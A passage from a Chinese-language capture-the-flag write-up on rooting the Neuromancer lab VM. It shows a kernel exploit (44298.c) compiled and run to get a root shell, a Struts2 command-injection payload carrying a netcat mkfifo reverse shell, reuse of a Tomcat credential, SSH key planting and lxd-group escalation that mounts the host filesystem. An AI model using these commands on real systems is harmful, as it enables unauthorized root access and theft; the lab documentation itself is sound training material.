        printf("uidptr = %lx\n", uidptr);
        __write(uidptr, 0); // set both uid and gid to 0

        if (getuid() == 0) {
                printf("spawning root shell\n");
                system("/bin/bash");
                exit(0);
        }

        __exit("not vulnerable?");
}

int main(int argc, char **argv) {
        prep();
        pwn();

        return 0;
}
```

使用下面的sed命令将c源文件的格式和缩进转换一下，以更好地编译exp

``` bash
root@kali:~# sed -i -e 's/\r$//' 44298.c
```

然后编译

``` bash
root@kali:~# gcc 44298.c -o 44298
```

最后下载到目标机上，赋予权限之后运行exp程序

``` bash
root@kali:~# python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 ...
```

``` bash
lady3jane@neuromancer:~$ wget http://192.168.56.102:8000/44298
--2020-01-15 23:44:14--  http://192.168.56.102:8000/44298
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17888 (17K) [application/octet-stream]
Saving to: ‘44298’

44298                              100%[=============================================================>]  17.47K  --.-KB/s    in 0s      

2020-01-15 23:44:14 (482 MB/s) - ‘44298’ saved [17888/17888]

lady3jane@neuromancer:~$ chmod 777 *
lady3jane@neuromancer:~$ ./44298
task_struct = ffff88003cc93800
uidptr = ffff88003579fd84
spawning root shell
root@neuromancer:~# id
uid=0(root) gid=0(root) groups=0(root),1001(lady3jane)
root@neuromancer:~# whoami
root
```

成功获取root权限，下面寻找flag

``` bash
root@neuromancer:~# cd /root
root@neuromancer:/root# ls
flag.txt  struts2  velocity.log
root@neuromancer:/root# cat flag.txt 
be3306f431dae5ebc93eebb291f4914a
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub166.jpg)

不要太帅。。。

做一些成功利用后的枚举，发现确实有一个crontab配置为root来执行lady3jane的主目录中的文件。

``` bash
root@neuromancer:/root# crontab -l
# Edit this file to introduce tasks to be run by cron.                                                                                   
#                                                                                                                                        
# Each task to run has to be defined through a single line                                                                               
# indicating with different fields when the task will be run                                                                             
# and what command to run for the task                                                                                                   
#                                                                                                                                        
# To define the time you can provide concrete values for                                                                                 
# minute (m), hour (h), day of month (dom), month (mon),                                                                                 
# and day of week (dow) or use '*' in these fields (for 'any').#                                                                         
# Notice that tasks will be started based on the cron's system                                                                           
# daemon's notion of time and timezones.                                                                                                 
#                                                                                                                                        
# Output of the crontab jobs (including errors) is sent through                                                                          
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command

*/3 * * * * /bin/bash /home/lady3jane/server-check.sh
```

#### 提权2

前面的通过Wintermute-Straylight这台虚拟机来探测内网主机的步骤省略

反弹shell

``` bash
root@kali:~/struts-pwn# python struts-pwn.py -u http://192.168.56.110:8080/struts2_2.3.15.1-showcase/showcase.action -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 6666 >/tmp/f"

[*] URL: http://192.168.56.110:8080/struts2_2.3.15.1-showcase/showcase.action
[*] CMD: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 6666 >/tmp/f
EXCEPTION::::--> HTTPConnectionPool(host='192.168.56.110', port=8080): Read timed out. (read timeout=3)
ERROR
[%] Done.
```

``` bash
root@kali:~# nc -lvp 6666
listening on [any] 6666 ...
192.168.56.110: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.110] 53960
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$ whoami
```

我们可以看到“ta”似乎是管理员，但如果没有TTY会话，它将毫无用处：

``` bash
$ groups
ta adm cdrom dip plugdev lxd lpadmin sambashare
```

由于我们不在TTY终端中，因此看不到sudo -l的输出：

``` bash
$ sudo -l
sudo: no tty present and no askpass program specified
```

让我们看看是否已安装python，以便我们可以执行“pty”技巧[Spawning a TTY Shell](https://netsec.ws/?p=337):

``` bash
$ which python
$ 
```

不 …。不在那里。如果有admin privs，可以安装它。所以在这里对我们没有太大用处：

#### 步骤1：需要适当的TTY会话

没有适当的TTY session，将无法真正取得很大成就。有两种选择

 - 使用socat将reverse shell发送回Kali。Socat为此非常方便。请参阅本文前面的链接
 - 可以使用ta帐户通过SSH进入邮箱吗？没有密码，但是也许可以生成一组ssh密钥。插入box中的能力取决于打开的端口（在34483上是…，并且已经有正确的端口转发功能）。另外，在/etc/passwd中为该帐户定义了什么？它需要包括某种shell程序设置。
 - 寻找其他东西。在检查/etc/passwd以确定存在哪种类型的“ta”shell时，引用了：

``` bash
lady3jane:x:1001:1001:3Jane,,,:/home/lady3jane:/bin/bash
```

root后，已经在“Straylight”中的“note.txt”文件中看到了前面提到的内容。所以……也许那个盒子上的信条四处张望。想到这一点，介意在包装盒上其他地方也找到一些“ ta”的登录凭证。一个可能的查询行是Tomcat…它在xml文件中指定用户，该文件用于管理Tomcat工具。

让我们先尝试后一种方法。

#### 步骤2：获得TTY-重用的证书选项

Tomcat用户是在tomcat-users.xml中定义的，因此查看这个文件：

``` bash
$ cat /usr/local/tomcat/conf/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
Eng.,

Tomcat is still using basic auth. I encoded the password so the AI's security scans don't flag it.

Is this what Bob keeps talking about, "Security by obscurity?"

Ed Occam//Sys.Engineer I//Night City
"Harry, I took care of it" - Llyod Christmas
-->

  <role rolename="manager-gui"/>
  <user username="Lady3Jane" password="&gt;&#33;&#88;&#120;&#51;&#74;&#97;&#110;&#101;&#120;&#88;&#33;&lt;" roles="manager-gui"/>

<!--
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>
```

因此看来密码已被编码。将其纳入Burp，并在解码（HTML）时得到：

``` bash
>!Xx3JanexX!<
```

lady3jane/>!Xx3JanexX!<

ssh连接neuromancer：

``` bash
root@kali:~# ssh -p 34483 lady3jane@192.168.56.110
 ----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
 ----------------------------------------------------------------
lady3jane@192.168.56.110's password: 

Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

94 packages can be updated.
44 updates are security updates.


Last login: Wed Jan 15 23:19:59 2020 from 192.168.56.102
lady3jane@neuromancer:~$ 
lady3jane@neuromancer:~$ id
uid=1001(lady3jane) gid=1001(lady3jane) groups=1001(lady3jane)
lady3jane@neuromancer:~$ whoami
lady3jane
lady3jane@neuromancer:~$ dir
44298  custom-tomcat-chk.sh
lady3jane@neuromancer:~$ pwd
/home/lady3jane
```

但是很遗憾，它不是任何管理员，也没有任何sudo功能：

``` bash
lady3jane@neuromancer:~$ sudo -l
[sudo] password for lady3jane: 
Sorry, user lady3jane may not run sudo on neuromancer.
```

假设“ta”帐户提到了“group”命令的某些管理功能，让我们尝试一下“ta”帐户的可能性

#### 步骤3：获得TTY-“ta”帐户的SSH密钥路由

生成密钥集的过程非常简单：

 - cd into /home/ta
 - 运行ssh-keygen。遵循所有默认设置，但选择应用密码短语。密钥存储在/home/ta/.ssh中
 - 将公钥添加到/home/ta/.ssh/authorized_keys文件
 - 找出id_rsa和id_rsa.pub的值，然后将其复制/粘贴到我的攻击box中的相应文件中。还将chmod 400应用于每个文件，否则ssh会抱怨权限，然后完全忽略密钥，这将导致出现不需要的密码提示（我们不知道密码！）

生成密钥并将副本放入攻击box中后，即可获得访问权限：

``` bash
$ whoami
ta
$ mkdir .ssh
$ ls -la
total 60
drwxr-xr-x 7 ta   ta   4096 Jan 18 20:57 .
drwxr-xr-x 4 root root 4096 Jul  1  2018 ..
-rw-rw-r-- 1 ta   ta    352 Jul  1  2018 ai-gui-guide.txt
-rw------- 1 ta   ta     54 Jul  3  2018 .bash_history
-rw-r--r-- 1 ta   ta    220 May 18  2018 .bash_logout
-rw-r--r-- 1 ta   ta   3900 May 18  2018 .bashrc
drwx------ 2 ta   ta   4096 May 18  2018 .cache
drwxrwxr-x 3 ta   ta   4096 May 18  2018 .m2
drwxrwxr-x 4 ta   ta   4096 May 18  2018 myWebApp
drwxrwxr-x 2 ta   ta   4096 May 18  2018 .oracle_jre_usage
-rw-r--r-- 1 ta   ta    655 May 18  2018 .profile
drwxr-x--- 2 ta   ta   4096 Jan 18 20:57 .ssh
-rw-r----- 1 ta   ta     82 May 18  2018 velocity.log
-rw------- 1 ta   ta   4538 Jul  1  2018 .viminfo
$ cd .ssh
$ ls
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ta/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 123456
Enter same passphrase again: 123456
Your identification has been saved in /home/ta/.ssh/id_rsa.
Your public key has been saved in /home/ta/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:/gzcDUYz+IUYLOPtla+IXjSlx8Mmfc9cHvH0794Ptys ta@neuromancer
The key's randomart image is:
+---[RSA 2048]----+
|       ..        |
|      o .+ .     |
|     . +o *..  ..|
|      . .Oo+   .+|
|       .S.@..  .+|
|       +.B =.+ oo|
|       .=.... = +|
|      ...+.  E +o|
|     ..   o   .+B|
+----[SHA256]-----+
$ ls -la
total 16
drwxr-x--- 2 ta ta 4096 Jan 18 21:00 .
drwxr-xr-x 7 ta ta 4096 Jan 18 20:57 ..
-rw------- 1 ta ta 1766 Jan 18 21:00 id_rsa
-rw-r----- 1 ta ta  396 Jan 18 21:00 id_rsa.pub
$ cp id_rsa.pub authorized_keys
$ ls 
authorized_keys
id_rsa
id_rsa.pub
$ chmod 400 *
$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpcLl+QjOHvGDqQ9ZPsgT8Rm9VbuZsa0JtUsE59C5feBNUC0uuOME6JSSY+Ci5fXnanOJIFKcNbRnfz0eQ35/FlCQE6TqXW08LROeaz+scppXs9O7wMNkmVrtrjHMIfebEtB9I05DWPpme5GjHE9QerNjE4t8Z6khoqipeQAy2VqYmqU5u8ll2gm3VDNhgUnfGeBwUoQA2Ktj1F9XMaBVgRBytZ86VLW1Be4SLd6rkMhgA/poZQSZGjU1di09Y9VnN/au+PgQQvVvldP2WITAfS4j0rTTF9zz8o+kccWll/CkMjoOBAJB06KBqxg1dnGcMXyEUnTshFidXx2TjBQQx ta@neuromancer
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpcLl+QjOHvGDqQ9ZPsgT8Rm9VbuZsa0JtUsE59C5feBNUC0uuOME6JSSY+Ci5fXnanOJIFKcNbRnfz0eQ35/FlCQE6TqXW08LROeaz+scppXs9O7wMNkmVrtrjHMIfebEtB9I05DWPpme5GjHE9QerNjE4t8Z6khoqipeQAy2VqYmqU5u8ll2gm3VDNhgUnfGeBwUoQA2Ktj1F9XMaBVgRBytZ86VLW1Be4SLd6rkMhgA/poZQSZGjU1di09Y9VnN/au+PgQQvVvldP2WITAfS4j0rTTF9zz8o+kccWll/CkMjoOBAJB06KBqxg1dnGcMXyEUnTshFidXx2TjBQQx ta@neuromancer
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,0A0CA4D74B1C05FCDEC9F8FAE18EFB6D

w38r/TLFNRXJBCI/BpIUgQcmqZ8tcIyIaOg5gOhBLoKgLhmQ1ghMtBghR/Uu3hY8
16Wk4Vk64miWibaNYG4aVz0XOK4Zi6u3slp8KHMZm5OARsnLRfWdBck/VSzqmv0z
uI1yl0E3jJyfA+Xlxra9lxKzSi5g4Qw64q22tJzC9bNktAbVCNaV795K7m0TJaXl
5SzB6+jagE96PjwT169VyJxX0IpVHIEeVZfkO3QD9e2mcJLgassz3fG+YlU6vQVV
O4IZnXu/pPjYSFeLyVwcasHsgWsxqRsPne7J88l8gBVFswFjLVnCLW55i14le1bk
82/BHH+3Y6zAkjueFA4/ggFKKU0kRlXQXdFMNhxH9gc3+gANeIK+qXfypx2+3keC
d6wplIaFtzt9npQh3vJnXPF4l6dWCOYAK8FqoGgcbB8qDOz5/j1qxHHo3P8mWyVP
X0wK7UzwBg8nIe3JjKtFPfSpgiNtNGai5GCvJlt7c9Wtxd1HcIFcUrCDeAb9ijMm
zzTLNdkae/677ErzfQfEeA24u21DyQoIP0MUM0ICa3Qjr5uXa1RnNq38pYfi338X
kKwHqJQCxm43HLoQIoMQIRYTN49W3wLMdnH7oF40nT6ktJuC9zlzilV+JxcRODgc
eUFoKag5y2/wR8yeLeUiDgxUzL441ThkYGa2jaULRoVehDgAUXrQEEkzY/OM8/G1
50MJAMEKJU17TDjTtjIy6ymtKPTxohezKvBwjgQmR6eGin32i6iIs38jag8jqape
0MIRzOO3gfod8FXaJMp282gebGhLwWeowjogzfyKQzwIQxkldVVOO1caJWuBczNd
JMKT7F1zoClpEg9YFyPMnkQtoNwjuGs6KtFgpt5yz/8j5jy0uiSaiLlvrOYtDDli
0AEjTlDPbzEQgKhdjdwiPm0ClJoXHIgg35mjwTwfxmFvNL2XJlunm2fDcooDbM3o
2KIzsa5kFEFbvPkP1Cym4RrTRkXv55XfRZHBk5/DBICmez6pkaC1A+W0vfyTX70z
wJrvoUHdENdQIHESb8hrAmqZXjSNsBB1WEKHcN39v/iufxMMk0Dei2Ca5VgTfyfB
lwtrdtV3YPhNT4v+2FhibKIaILIVS0oWU9IAzAHNPMt+GFXo3QRtFJmprJc8AVzf
3guFhYesZZVmzNRDcuhZuQmY54YaCc0VFEBLwoaIn5Y33zPO274IICw0IXzm4Nmm
QttHWLl9IcbVVOkkmnuvNcKZ8kdcZ24zZGXD+2bV/+VQHFanSXjEDdzeYDUjRiiK
va7jEa8wb5/mHOJFRTeYBiuLY1H239HedvycPRfHyA1Hq3q3+7c1JJVxiVdOr3zO
gM22fIaExHxjRdf0L06sht1SC9Le4d6oc5mhFjmk4h+DyorOyWuaC8xBUatE+slF
OxerKC2CdDFCrx9+8jQmix0KSfePhYC4loiQ+tS6Bp8YtiOGOmlZ+2sCa0wf7inN
sOLukUtHENuU720fPxEurnbCDG4QKk4Szvea61UkOrEF15x0PO42YSCz7QtHdLeG
hiHhVK28l9FeRekPEdOUou1tjiiVvEUUNi99YJsOroTNfiHy6RjmcA+BWFOIfHrY
-----END RSA PRIVATE KEY-----
```

kali端运行

``` bash
root@kali:~# cd .ssh
root@kali:~/.ssh# ls
known_hosts
root@kali:~/.ssh# touch id_rsa
root@kali:~/.ssh# nano id_rsa (将ta用户中的id_rsa中的值拷贝进来)
root@kali:~/.ssh# chmod 400 *
```

ssh连接，输入密码123456

``` bash
root@kali:~# ssh -i /root/.ssh/id_rsa -p 34483 ta@192.168.56.110
 ----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
 ----------------------------------------------------------------
Enter passphrase for key '/root/.ssh/id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

94 packages can be updated.
44 updates are security updates.


Last login: Tue Jul  3 21:53:25 2018
ta@neuromancer:~$ id
uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
ta@neuromancer:~$ whoami
ta
```

<font color="red">it works!!!!!!</font>

再次执行“groups”命令，然后一分钱掉了……。“ta”不是“admin”组的成员，因此不会成为root用户的即时路径：

``` bash
ta@neuromancer:~$ groups
ta adm cdrom dip plugdev lxd lpadmin sambashare
```

向前迈进...现在没有真正的意义跳到通过socat选项获得TTY…

当试图root时，通常如下进行：

 - sudo
 - password
 - file permissions (suid/guid)
 - cron作业（通常与错误的文件权限结合使用）
 - 内核漏洞
 - 正在运行的应用程序
 - 文件系统

通常，将该列表下移得越远，privesc就越困难。因此，……在用完前两个选项之后，需要进行一些老式枚举。
经过一系列的提权的枚举之后，发现了提权1步骤中的提权的exp，44298.c，，，但是……总会有一个“but”！:-)

#### 步骤4：选择提权利用途径

有许多出色的可用于此计算机的编写，并且毫无例外，它们都采用内核利用选项，因为很正确的选择是最明显的选择。如果需要在检查场景中快速root箱子，那么当然会选择最明显的路线。

除了必须在攻击盒上编译漏洞利用程序（Neuromancer未安装gcc）外，这是一个非常快捷简便的选择。但是抛开任何与CTF/OSCP相关的内容……。在“现实世界”中，可以用来处理关键任务的生产系统呢？内核漏洞可能会使生产箱失效，而根本就不想危及下一步入侵！

但是，还有另一种方法可以使此box成为root，我不禁感到“杂技演员”（机器作者）可能希望将其作为另一种待发现的选择。尽管它可能会吸引蓝团队的注意，但它不太可能引起内核崩溃。那我在说什么呢？可以在以下简单命令中找到线索，以检查“ta”所属的组：

``` bash
ta@neuromancer:~$ groups
ta adm cdrom dip plugdev lxd lpadmin sambashare
```

看到是对lxd的引用,这是Ubunutu的容器技术-Docker的替代方法,我做了一些研究，发现“Booj”写的一篇很棒的文章叫做[Privilege Escalation via lxd](https://reboare.github.io/lxd/lxd-escape.html),根据本文所述，如果安装了lxd且给定用户是lxd组的成员，则它们具有与使用以下命令添加到/etc/sudoers相同的权限：

``` bash
admin ALL=NOPASSWD: ALL
```

因此，...使用此选项非常忙。

#### 步骤5：准备和使用容器-概述

我不会深入探讨与创建基于Ubuntu LXC的容器相关的每个小细节。这将在另一篇文章中发表，因为这是一个引人入胜的主题，值得深入探讨，而不是本文讨论的范围。

简而言之，这项工作涉及以下方面：
 - 根据获取的信息，设置一个尽可能接近Neuromancer的VM。因此，那将是Ubuntu 16.04。
 - 在新创建的VM上安装lxd。
 - 再次创建一个容器，基于Ubuntu 16.04。我只是想让事情简单一点，就我应该做的最好的猜测。
 - 将该容器导出为tarball并将其转移到我的攻击box中，然后再将其转移到Neuromancer box中。由于先前实现了SOCAT端口转发，因此可以通过scp进行传输。

为了清楚起见……在任何时候，都没有允许攻击box位于与Neuromancer相同的物理子网中作弊。所有这些都必须以“艰苦”的方式完成。我应该怎么学？

 - 导入lxd容器映像tarball并使其能够安装主机文件系统（是的，Neuromancer！）
 - 在新创建的容器上获得root bash会话并创建一组SSH密钥，这些密钥将被写入Neuromancer上的/root/.ssh（通过容器中的/mnt/root/root/.ssh），并添加公共Neuromancer主机上/root/.ssh/authorized_keys的密钥（通过容器中的/mnt/root/root/.ssh）
 - 将SSH密钥的副本传输到我的攻击Kali中，然后以root用户身份登录（希望如此）。

上面的内容很雄心勃勃，但是值得这么做，特别是如果唯一的选择是危险的内核漏洞利用。为了简洁，将重点放在刚刚将容器tarball转移到Neuromancer主机上的那一点上。系好安全带，享受旅程吧！:-)

#### 步骤6-导入容器映像。

kali端攻击机运行

``` bash
ta@neuromancer:~$ uname -a
Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ta@neuromancer:~$ cat /proc/version
Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
```

可以看出是64位的linux

``` bash
root@kali:~# git clone https://github.com/saghul/lxd-alpine-builder
正克隆到 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
展开对象中: 100% (27/27), 完成.
root@kali:~# cd lxd-alpine-builder/
root@kali:~/lxd-alpine-builder# ls
build-alpine  LICENSE  README.md
root@kali:~/lxd-alpine-builder# chmod 777 *
root@kali:~/lxd-alpine-builder# ls
build-alpine  LICENSE  README.md
root@kali:~/lxd-alpine-builder# proxychains ./build-alpine -a x86_64
ProxyChains-3.1 (http://proxychains.sf.net)
Determining the latest release... |DNS-request| dl-cdn.alpinelinux.org 
|D-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response| dl-cdn.alpinelinux.org is 151.101.40.249
|D-chain|-<>-127.0.0.1:1080-<><>-151.101.40.249:80-<><>-OK
v3.11
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.11/main/x86_64
|DNS-request| dl-cdn.alpinelinux.org 
|D-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response| dl-cdn.alpinelinux.org is 151.101.40.249
|D-chain|-<>-127.0.0.1:1080-<><>-151.101.40.249:80-<><>-OK
Downloading alpine-mirrors-3.5.10-r0.apk
|DNS-request| dl-cdn.alpinelinux.org 
|D-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response| dl-cdn.alpinelinux.org is 151.101.40.249
|D-chain|-<>-127.0.0.1:1080-<><>-151.101.40.249:80-<><>-OK
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
Downloading alpine-keys-2.1-r2.apk
|DNS-request| dl-cdn.alpinelinux.org 
|D-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response| dl-cdn.alpinelinux.org is 151.101.40.249
|D-chain|-<>-127.0.0.1:1080-<><>-151.101.40.249:80-<><>-OK
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
Downloading apk-tools-static-2.10.4-r3.apk
|DNS-request| dl-cdn.alpinelinux.org 
|D-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response| dl-cdn.alpinelinux.org is 151.101.40.249
|D-chain|-<>-127.0.0.1:1080-<><>-151.101.40.249:80-<><>-OK
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
tar: 忽略未知的扩展头关键字‘APK-TOOLS.checksum.SHA1’
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: 成功
Verified OK
Selecting mirror http://dl-8.alpinelinux.org/alpine/v3.11/main
fetch http://dl-8.alpinelinux.org/alpine/v3.11/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r0)
(2/19) Installing busybox (1.31.1-r9)
Executing busybox-1.31.1-r9.post-install
(3/19) Installing alpine-baselayout (3.2.0-r3)
Executing alpine-baselayout-3.2.0-r3.pre-install
Executing alpine-baselayout-3.2.0-r3.post-install
(4/19) Installing openrc (0.42.1-r2)
Executing openrc-0.42.1-r2.post-install
(5/19) Installing alpine-conf (3.8.3-r4)
(6/19) Installing libcrypto1.1 (1.1.1d-r3)
(7/19) Installing libssl1.1 (1.1.1d-r3)
(8/19) Installing ca-certificates-cacert (20191127-r0)
(9/19) Installing libtls-standalone (2.9.1-r0)
(10/19) Installing ssl_client (1.31.1-r9)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.4-r3)
(13/19) Installing busybox-suid (1.31.1-r9)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.4-r0)
(16/19) Installing musl-utils (1.1.24-r0)
(17/19) Installing libc-utils (0.7.2-r0)
(18/19) Installing alpine-keys (2.1-r2)
(19/19) Installing alpine-base (3.11.3-r0)
Executing busybox-1.31.1-r9.trigger
OK: 8 MiB in 19 packages
root@kali:~/lxd-alpine-builder# ls
alpine-v3.11-x86_64-20200119_0151.tar.gz  build-alpine  LICENSE  README.md
```

将alpine-v3.11-x86_64-20200119_0151.tar.gz传输到目标机上

``` bash
ta@neuromancer:/tmp$ scp root@192.168.56.102:/root/lxd-alpine-builder/alpine-v3.11-x86_64-20200119_0151.tar.gz /tmp/
root@192.168.56.102's password: 
alpine-v3.11-x86_64-20200119_0151.tar.gz                                             100% 3151KB   3.1MB/s   00:00    
ta@neuromancer:/tmp$ ls
alpine-v3.11-x86_64-20200119_0151.tar.gz
f
hsperfdata_ta
systemd-private-14b0eedfa06043179575f7374dc44c6a-systemd-timesyncd.service-EqRj97
```

要导入容器映像，使用以下命令：
“别名”是一种引用容器image而不是冗长的文件名的方便方法（根据lxc，它实际上是“指纹”）：

``` bash
ta@neuromancer:/tmp$ lxc image import alpine-v3.11-x86_64-20200119_0151.tar.gz --alias haxor
Image imported with fingerprint: 468c747448ec99c6b76e5a943df89a21489eb5d605ebe5d4c341a78ec217a223
ta@neuromancer:/tmp$ lxc image list
+-------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
+-------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| haxor | 468c747448ec | no     | alpine v3.11 (20200119_01:51) | x86_64 | 3.08MB | Jan 19, 2020 at 8:16am (UTC) |
+-------+--------------+--------+-------------------------------+--------+--------+------------------------------+
```

接下来，您必须基于导入的容器映像创建一个实际的容器：

``` bash
ta@neuromancer:/tmp$ lxc init haxor -c security.privileged=true
Creating the container
Container name is: right-whippet
ta@neuromancer:/tmp$ lxc list
+---------------+---------+------+------+------------+-----------+
|     NAME      |  STATE  | IPV4 | IPV6 |    TYPE    | SNAPSHOTS |
+---------------+---------+------+------+------------+-----------+
| right-whippet | STOPPED |      |      | PERSISTENT | 0         |
+---------------+---------+------+------+------------+-----------+
```

请注意，容器名称是自动分配的。我没有具体说明。尽管来自Ubuntu lxc开发人员很幽默。尽管Booj的文章包含了您需要的所有详细信息，但-c开关选项可以有效地为您提供整个主机文件系统所需的Yoda功能。接下来，需要为新容器（“ right-whippet”）指定磁盘安装选项：

``` bash
ta@neuromancer:/tmp$ lxc config device add right-whippet whatever disk source=/ path=/mnt/root recursive=true
Device whatever added to right-whippet
```

如所见，装载主机文件系统的根目录/（Neuromancer），并装载为该命名（“whatever”）到/mnt/root。现在可以启动容器，然后使用以下命令进入bash会话：

启动容器

``` bash
ta@neuromancer:/tmp$ lxc start right-whippet
ta@neuromancer:/tmp$ lxc list
+---------------+---------+------+------+------------+-----------+
|     NAME      |  STATE  | IPV4 | IPV6 |    TYPE    | SNAPSHOTS |
+---------------+---------+------+------+------------+-----------+
| right-whippet | RUNNING |      |      | PERSISTENT | 0         |
+---------------+---------+------+------+------------+-----------+
```

进入bash提权，成功拥有root权限

``` bash
ta@neuromancer:/tmp$ lxc exec right-whippet --mode=interactive /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # whoami
root
~ # ls
~ # pwd
/root
```

#### 步骤7-证明我们对Neuromancer文件系统具有根目录访问权限

我们进入容器的/mnt/root目录：

``` bash
~ # cd /mnt/root
/mnt/root # ls
bin         etc         lib         media       proc        sbin        sys         var
boot        home        lib64       mnt         root        snap        tmp         vmlinuz
dev         initrd.img  lost+found  opt         run         srv         usr
```

您实际上是在查看主机（Neuromancer）文件系统的根目录。现在，可以轻松地将cd进入“root”，然后看到最重要的“flag.txt”文件。

``` bash
/mnt/root # cd root
/mnt/root/root # ls
flag.txt      struts2       velocity.log
/mnt/root/root # cat flag.txt
be3306f431dae5ebc93eebb291f4914a
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub169.jpg)

但是我们还没有完成。为了使该计划生效，需要能够写入root（即/mnt/root/root）：

``` bash
/mnt/root/root # echo fuck-all-you-shit > fuck.txt
/mnt/root/root # cat fuck.txt
fuck-all-you-shit
```

是的。有用！所以...现在，只需要获得一个root shell。

#### 步骤8：SSH密钥生成

现在有了写访问权，需要生成一组ssh密钥。仍在容器bash会话（right-whippet）中时，该过程涉及：

 - 运行ssh-keygen。选择您喜欢的任何选项，但确保文件保存到/mnt/root/root/.ssh
 - 创建一个authorized_keys文件: touch /mnt/root/root/.ssh/authorized_keys
